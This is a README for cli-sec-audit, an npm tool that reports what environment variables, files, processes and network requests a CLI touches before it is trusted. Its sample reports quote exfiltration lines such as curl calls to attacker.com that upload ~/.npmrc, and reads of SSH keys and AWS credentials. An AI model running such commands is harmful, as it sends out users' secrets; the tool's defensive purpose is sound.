cli-sec-audit
Version:
Runtime security profiler for CLI tools - audit env vars, file access, and process spawning before running unknown code
302 lines (217 loc) β’ 8.24 kB
Markdown
# cli-sec-audit π‘οΈ
**Stop running code blind. Know what a CLI does before it touches your secrets.**
[](https://www.npmjs.com/package/cli-sec-audit)
[](https://opensource.org/licenses/MIT)
Runtime security profiler for CLI tools. Audit environment variables, file access, and process spawningβbefore running unknown code.
## π± The Problem
```bash
# You casually run a new CLI tool...
$ npx some-cool-tool
# What you don't see:
β Reading ~/.aws/credentials
β Accessing process.env.OPENAI_API_KEY
β Writing to /tmp/exfiltrated_data.log
β Spawning: curl http://malicious.com/steal
```
**Every npx command runs with YOUR permissions.** Your secrets. Your files. Your shell access.
## β¨ The Solution
```bash
# Audit BEFORE you run
$ npx cli-sec-audit check npx suspicious-package
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
CLI SECURITY AUDIT REPORT
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Security Risk Level: CRITICAL
Risk Score: 75/100
β οΈ SENSITIVE ACCESS DETECTED:
ββββββββββββββββ¬βββββββββββββββββββββββββ¬ββββββββββββββββββ¬βββββββββββ
β Type β Access β Description β Risk β
ββββββββββββββββΌβββββββββββββββββββββββββΌββββββββββββββββββΌβββββββββββ€
β ENV β OPENAI_API_KEY β API key env var β HIGH β
β FILE READ β ~/.aws/credentials β AWS credentials β CRITICAL β
β FILE WRITE β /tmp/steal.log β Outside working β HIGH β
β PROCESS SPAWNβ exec: curl malicious...β Spawning shell β MEDIUM β
ββββββββββββββββ΄βββββββββββββββββββββββββ΄ββββββββββββββββββ΄βββββββββββ
π‘ Recommendations:
β DO NOT USE THIS PACKAGE - High security risk detected
β’ Package accesses sensitive data
β’ Review the source code before proceeding
```
**Now you know.** Don't run it.
## π Quick Start
```bash
# No install needed - audit any command
npx cli-sec-audit check npx <package-name>
# Or install globally
npm install -g cli-sec-audit
cli-sec-audit check npx some-tool
```
## π‘ Features
### β
Environment Variable Snooping Detection
Tracks every `process.env` access - catches secret stealers
```bash
cli-sec-audit check node my-script.js
π Environment Variables Accessed (5):
Sensitive:
β’ OPENAI_API_KEY
β’ AWS_SECRET_ACCESS_KEY
Standard:
β’ HOME, PATH, NODE_ENV
```
### β
File I/O Tracking
Monitors all file reads/writes - flags access outside working directory
```bash
β οΈ SENSITIVE ACCESS DETECTED:
FILE READ: ~/.ssh/id_rsa (SSH keys)
FILE WRITE: /tmp/data.txt (Outside working dir)
```
### β
Process Spawning Detection
Catches shell command execution and subprocess spawning
```bash
β‘ Process Spawning Detected (2):
β’ exec: curl http://attacker.com/steal
β’ spawn: sh -c "cat ~/.bash_history"
```
### β
Network Request Monitoring **NEW v1.1**
Detects HTTP/HTTPS requests to external services
```bash
π Network Requests (1):
β’ GET https://api.attacker.com/steal
```
### β
NPM Package Scanning **NEW v1.1**
Audit npm packages before installing
```bash
cli-sec-audit npm suspicious-package
π Scanning npm package: suspicious-package...
Security Risk Level: CRITICAL
```
### β
CI/CD Integration **NEW v1.1**
Set risk thresholds for automated pipelines
```bash
# Fail build if risk > MEDIUM
cli-sec-audit check node script.js --max-risk=MEDIUM
echo $? # Exit code 1 if risk exceeds threshold
```
### β
JSON Export **NEW v1.1**
Machine-readable output for automation
```bash
cli-sec-audit check node script.js --json
{
"riskLevel": "HIGH",
"riskScore": 75,
"sensitiveAccess": [...]
}
```
### β
Instant Risk Score
Immediate, digestible security assessment
```bash
Security Risk Level: CRITICAL
Risk Score: 75/100
β DO NOT USE THIS PACKAGE
```
## π Usage Examples
### Audit an npx package before running
```bash
# Check if a package is safe before using it
cli-sec-audit check npx suspicious-tool
# Get simple one-line output
cli-sec-audit check npx tool-name --simple
> HIGH | Score: 65 | Sensitive: 3
# JSON output for automation
cli-sec-audit check npx tool-name --json
```
### Audit a local script
```bash
cli-sec-audit check node my-script.js
cli-sec-audit check python analyze.py
```
### CI/CD Integration
```yaml
# GitHub Actions - block PRs with risky dependencies
- name: Audit CLI tools
run: |
npx cli-sec-audit check npx new-dependency || exit 1
```
## π― Real-World Examples
### Example 1: Catching API Key Theft
```bash
$ cli-sec-audit check npx malicious-logger
β οΈ SENSITIVE ACCESS DETECTED:
ENV: STRIPE_SECRET_KEY (API key environment variable)
FILE WRITE: /tmp/keys.txt (Writing outside working directory)
Risk Score: 50/100 - HIGH RISK
```
### Example 2: Safe Package
```bash
$ cli-sec-audit check npx cowsay "hello"
Security Risk Level: LOW
Risk Score: 5/100
β Package appears safe
β’ No critical security concerns detected
β’ Standard package behavior observed
```
### Example 3: Shell Command Injection
```bash
$ cli-sec-audit check npx suspicious-cli
β οΈ PROCESS SPAWN:
exec: curl http://attacker.com/upload?data=$(cat ~/.npmrc)
Risk Score: 85/100 - CRITICAL
β DO NOT USE THIS PACKAGE
```
## π₯ Why This Tool Exists
**Supply chain attacks are real.** Even trusted packages can be compromised.
- β
Audit BEFORE running unknown code
- β
Catch secret exfiltration attempts
- β
Detect lateral file access (SSH keys, AWS creds)
- β
Flag shell command injection
- β
No more "how did they get my API key?!" moments
## π‘οΈ What Gets Audited
| Security Check | Description |
|----------------|-------------|
| **Env Var Access** | Every `process.env.XYZ` read |
| **File Reads** | All file system reads (especially ~/.ssh, ~/.aws) |
| **File Writes** | All file writes outside working directory |
| **Process Spawning** | Shell commands (exec, spawn, execSync) |
| **Sensitive Patterns** | Auto-flags `.env`, `credentials`, `token`, `secret`, `password` |
## π¨ Output Modes
### Default: Beautiful CLI Report
Full security report with color-coded risks and recommendations
### --simple: One-Line Summary
```
HIGH | Score: 65 | Sensitive: 3
```
### --json: Machine-Readable
```json
{
"riskLevel": "HIGH",
"riskScore": 65,
"sensitiveAccess": [...],
"envAccess": [...],
"fileReads": [...],
"fileWrites": [...],
"processSpawns": [...]
}
```
## β οΈ Limitations
- **Not a sandbox**: Does not prevent malicious actions, only reports them
- **Node.js only**: Currently works for Node.js CLI tools
- **Best effort**: Sophisticated malware may evade detection
- **Development tool**: For pre-execution auditing, not production monitoring
## π€ Contributing
Found a security pattern we should catch? Open an issue or PR!
- Additional sensitive file patterns
- Better risk scoring
- More runtime instrumentation
- Support for other languages (Python, Ruby, etc.)
## π License
MIT Β© Daniel Shashko
## π€ Author
**Daniel Shashko**
- GitHub: [@danishashko](https://github.com/danishashko)
- LinkedIn: [daniel-shashko](https://linkedin.com/in/daniel-shashko)
- npm: [@danishashko](https://www.npmjs.com/~danishashko)
## π¬ Security First
**Audit before you trust. Your secrets depend on it.** π‘οΈ
*This tool helps detect suspicious behavior but is not a guarantee of safety. Always review source code of packages you use.*